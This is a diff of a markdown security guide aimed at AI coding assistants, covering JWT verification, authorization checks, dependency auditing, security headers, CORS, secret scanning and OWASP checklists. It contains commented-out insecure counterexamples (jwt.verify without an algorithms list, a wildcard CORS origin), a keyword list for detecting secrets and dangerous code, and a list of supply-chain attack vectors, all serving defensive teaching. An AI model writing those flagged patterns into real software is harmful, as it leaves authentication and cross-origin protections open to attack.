+ const decoded = jwt.verify(token, SECRET, {
122
+ algorithms: ["HS256"], // MUST specify — prevents algorithm confusion attack
123
+ issuer: "myapp",
124
+ });
125
+
126
+ // ❌ HALLUCINATION TRAP: jwt.verify() without algorithms option is VULNERABLE
127
+ // jwt.verify(token, SECRET); ← accepts ANY algorithm including "none"
128
+ // ✅ jwt.verify(token, SECRET, { algorithms: ["HS256"] });
129
+
130
+ // Authorization: check BEFORE business logic
131
+ app.delete("/api/posts/:id", async (req, res) => {
132
+ const post = await getPost(req.params.id);
133
+ if (!post) return res.status(404).json({ error: "Not found" });
134
+
135
+ // ✅ Authorization check BEFORE delete
136
+ if (post.authorId !== req.user.id && req.user.role !== "admin") {
137
+ return res.status(403).json({ error: "Forbidden" });
138
+ }
139
+
140
+ await deletePost(post.id);
141
+ res.status(204).send();
142
+ });
143
+ ```
144
+
145
+ ---
146
+
147
+ ## Dependency Security
148
+
149
+ ```bash
150
+ # Check for known vulnerabilities
151
+ npm audit # built-in
152
+ npx snyk test # Snyk (more comprehensive)
153
+ npx socket check # Socket.dev (supply chain)
154
+
155
+ # Auto-fix
156
+ npm audit fix
157
+
158
+ # lock file integrity
159
+ # ✅ Commit package-lock.json / pnpm-lock.yaml
160
+ # ✅ Use npm ci in CI (not npm install)
161
+ # ✅ Pin exact versions for critical dependencies
162
+ # ✅ Enable Dependabot or Renovate for auto-updates
163
+ ```
164
+
165
+ ```
166
+ Supply chain attack vectors:
167
+ 1. Typosquatting "recat" instead of "react"
168
+ 2. Maintainer hijack compromised npm account
169
+ 3. Dependency confusion → private package name exists on public registry
170
+ 4. Malicious postinstall → runs arbitrary code on npm install
171
+ 5. Abandoned packages → unmaintained, no security patches
172
+
173
+ Defense:
174
+ - Review new dependencies before adding
175
+ - Use npm audit in CI (fail on high severity)
176
+ - Pin versions, review lockfile diffs
177
+ - Use --ignore-scripts for untrusted packages
178
+ ```
179
+
180
+ ---
181
+
182
+ ## Security Headers
183
+
184
+ ```typescript
185
+ import helmet from "helmet";
186
+
187
+ app.use(helmet()); // Sets secure defaults
188
+
189
+ // Key headers set by helmet:
190
+ // Content-Security-Policy Controls resource loading
191
+ // X-Content-Type-Options Prevents MIME sniffing (nosniff)
192
+ // X-Frame-Options Prevents clickjacking (DENY)
193
+ // Strict-Transport-Security → Forces HTTPS (HSTS)
194
+ // X-XSS-Protection → Legacy XSS filter (deprecated, CSP is better)
195
+ // Referrer-Policy → Controls referrer header
196
+
197
+ // CORS never wildcard in production
198
+ app.use(
199
+ cors({
200
+ origin: ["https://myapp.com", "https://admin.myapp.com"],
201
+ methods: ["GET", "POST", "PUT", "DELETE"],
202
+ credentials: true,
203
+ }),
204
+ );
205
+
206
+ // ❌ HALLUCINATION TRAP: origin: "*" disables CORS protection entirely
207
+ // ❌ cors({ origin: "*" }) ← allows any website to call your API
208
+ // cors({ origin: ["https://myapp.com"] }) ← whitelist specific domains
209
+ ```
210
+
211
+ ---
212
+
213
+ ## Secret Scanning
214
+
215
+ ```
216
+ Secrets that MUST be in environment variables:
217
+ - Database connection strings
218
+ - API keys (Stripe, SendGrid, etc.)
219
+ - JWT signing secrets
220
+ - OAuth client secrets
221
+ - Encryption keys
222
+
223
+ Detection tools:
224
+ - git-secrets (pre-commit hook)
225
+ - TruffleHog / detect-secrets (scan history)
226
+ - GitHub secret scanning (automatic)
227
+ - GitGuardian (enterprise)
228
+
229
+ If a secret is committed:
230
+ 1. IMMEDIATELY rotate the secret (new key/password)
231
+ 2. Remove from git history (BFG Repo-Cleaner or git-filter-repo)
232
+ 3. Force-push cleaned history
233
+ 4. Audit access logs for the compromised secret
234
+ 5. Post-incident review
235
+ ```
236
+
237
+ ---
238
+
239
+ ---
240
+
241
+ ## Security Checklists
242
+
243
+ ---
244
+
245
+ ### OWASP Top 10 Audit Checklist
246
+
247
+ #### A01: Broken Access Control
248
+
249
+ - [ ] Authorization on all protected routes
250
+ - [ ] Deny by default
251
+ - [ ] Rate limiting implemented
252
+ - [ ] CORS properly configured
253
+
254
+ #### A02: Cryptographic Failures
255
+
256
+ - [ ] Passwords hashed (bcrypt/argon2, cost 12+)
257
+ - [ ] Sensitive data encrypted at rest
258
+ - [ ] TLS 1.2+ for all connections
259
+ - [ ] No secrets in code/logs
405
260
 
261
+ #### A03: Injection
262
+
263
+ - [ ] Parameterized queries
264
+ - [ ] Input validation on all user data
265
+ - [ ] Output encoding for XSS
266
+ - [ ] No eval() or dynamic code execution
267
+
268
+ #### A04: Insecure Design
269
+
270
+ - [ ] Threat modeling done
271
+ - [ ] Security requirements defined
272
+ - [ ] Business logic validated
273
+
274
+ #### A05: Security Misconfiguration
275
+
276
+ - [ ] Unnecessary features disabled
277
+ - [ ] Error messages sanitized
278
+ - [ ] Security headers configured
279
+ - [ ] Default credentials changed
280
+
281
+ #### A06: Vulnerable Components
282
+
283
+ - [ ] Dependencies up to date
284
+ - [ ] No known vulnerabilities
285
+ - [ ] Unused dependencies removed
286
+
287
+ #### A07: Authentication Failures
288
+
289
+ - [ ] MFA available
290
+ - [ ] Session invalidation on logout
291
+ - [ ] Session timeout implemented
292
+ - [ ] Brute force protection
293
+
294
+ #### A08: Integrity Failures
295
+
296
+ - [ ] Dependency integrity verified
297
+ - [ ] CI/CD pipeline secured
298
+ - [ ] Update mechanism secured
299
+
300
+ #### A09: Logging Failures
301
+
302
+ - [ ] Security events logged
303
+ - [ ] Logs protected
304
+ - [ ] No sensitive data in logs
305
+ - [ ] Alerting configured
306
+
307
+ #### A10: SSRF
308
+
309
+ - [ ] URL validation implemented
310
+ - [ ] Allow-list for external calls
311
+ - [ ] Network segmentation
312
+
313
+ ---
314
+
315
+ ### Authentication Checklist
316
+
317
+ - [ ] Strong password policy
318
+ - [ ] Account lockout
319
+ - [ ] Secure password reset
320
+ - [ ] Session management
321
+ - [ ] Token expiration
322
+ - [ ] Logout invalidation
323
+
324
+ ---
325
+
326
+ ### API Security Checklist
327
+
328
+ - [ ] Authentication required
329
+ - [ ] Authorization per endpoint
330
+ - [ ] Input validation
331
+ - [ ] Rate limiting
332
+ - [ ] Output sanitization
333
+ - [ ] Error handling
334
+
335
+ ---
336
+
337
+ ### Data Protection Checklist
338
+
339
+ - [ ] Encryption at rest
340
+ - [ ] Encryption in transit
341
+ - [ ] Key management
342
+ - [ ] Data minimization
343
+ - [ ] Secure deletion
344
+
345
+ ---
346
+
347
+ ### Security Headers
348
+
349
+ | Header | Purpose |
350
+ | ----------------------------- | ---------------- |
351
+ | **Content-Security-Policy** | XSS prevention |
352
+ | **X-Content-Type-Options** | MIME sniffing |
353
+ | **X-Frame-Options** | Clickjacking |
354
+ | **Strict-Transport-Security** | Force HTTPS |
355
+ | **Referrer-Policy** | Referrer control |
356
+
357
+ ---
358
+
359
+ ### Quick Audit Commands
360
+
361
+ | Check | What to Look For |
362
+ | ------------------ | --------------------------- |
363
+ | Secrets in code | password, api_key, secret |
364
+ | Dangerous patterns | eval, innerHTML, SQL concat |
365
+ | Dependency issues | npm audit, snyk |
366
+
367
+ ---
368
+
369
+ **Usage:** Copy relevant checklists into your PLAN.md or security report.
370
+
371
+ ---
372
+
373
+ AI coding assistants often fall into specific bad habits when dealing with this domain. These are strictly forbidden:
374
+
375
+ 1. **Over-engineering:** Proposing complex abstractions or distributed systems when a simpler approach suffices.
376
+ 2. **Hallucinated Libraries/Methods:** Using non-existent methods or packages. Always `// VERIFY` or check `package.json` / `requirements.txt`.
377
+ 3. **Skipping Edge Cases:** Writing the "happy path" and ignoring error handling, timeouts, or data validation.
378
+ 4. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
379
+ 5. **Silent Degradation:** Catching and suppressing errors without logging or re-raising.
380
+
381
+ ---
382
+
383
+ **Slash command: `/review` or `/tribunal-full`**
384
+ **Active reviewers: `logic-reviewer` · `security-auditor`**
385
+
386
+ ### ❌ Forbidden AI Tropes
387
+
388
+ 1. **Blind Assumptions:** Never make an assumption without documenting it clearly with `// VERIFY: [reason]`.
389
+ 2. **Silent Degradation:** Catching and suppressing errors without logging or handling.
390
+ 3. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
391
+
392
+ Review these questions before confirming output:
393
+
394
+ ```
395
+ ✅ Did I rely ONLY on real, verified tools and methods?
396
+ ✅ Is this solution appropriately scoped to the user's constraints?
397
+ ✅ Did I handle potential failure modes and edge cases?
398
+ ✅ Have I avoided generic boilerplate that doesn't add value?
399
+ ```
400
+
401
+ ### 🛑 Verification-Before-Completion (VBC) Protocol
402
+
403
+ **CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
404
+
405
+ - ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
406
+ - ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.
407
+
408
+ ## Pre-Flight Checklist
409
+
410
+ - [ ] Have I reviewed the user's specific constraints and requests?
411
+ - [ ] Have I checked the environment for relevant existing implementations?
412
+
413
+ ## VBC Protocol (Verification-Before-Completion)
414
+
415
+ You MUST verify existing code signatures and variables before attempting to modify or call them. No hallucination is permitted.
406
416
 
407
417
  ---
408
418
 
@@ -432,6 +442,7 @@ AI coding assistants often fall into specific bad habits when dealing with this
432
442
  ### ✅ Pre-Flight Self-Audit
433
443
 
434
444
  Review these questions before confirming output:
445
+
435
446
  ```
436
447
  ✅ Did I rely ONLY on real, verified tools and methods?
437
448
  ✅ Is this solution appropriately scoped to the user's constraints?
@@ -442,5 +453,6 @@ Review these questions before confirming output:
442
453
  ### 🛑 Verification-Before-Completion (VBC) Protocol
443
454
 
444
455
  **CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
456
+
445
457
  - ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
446
458
  - ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.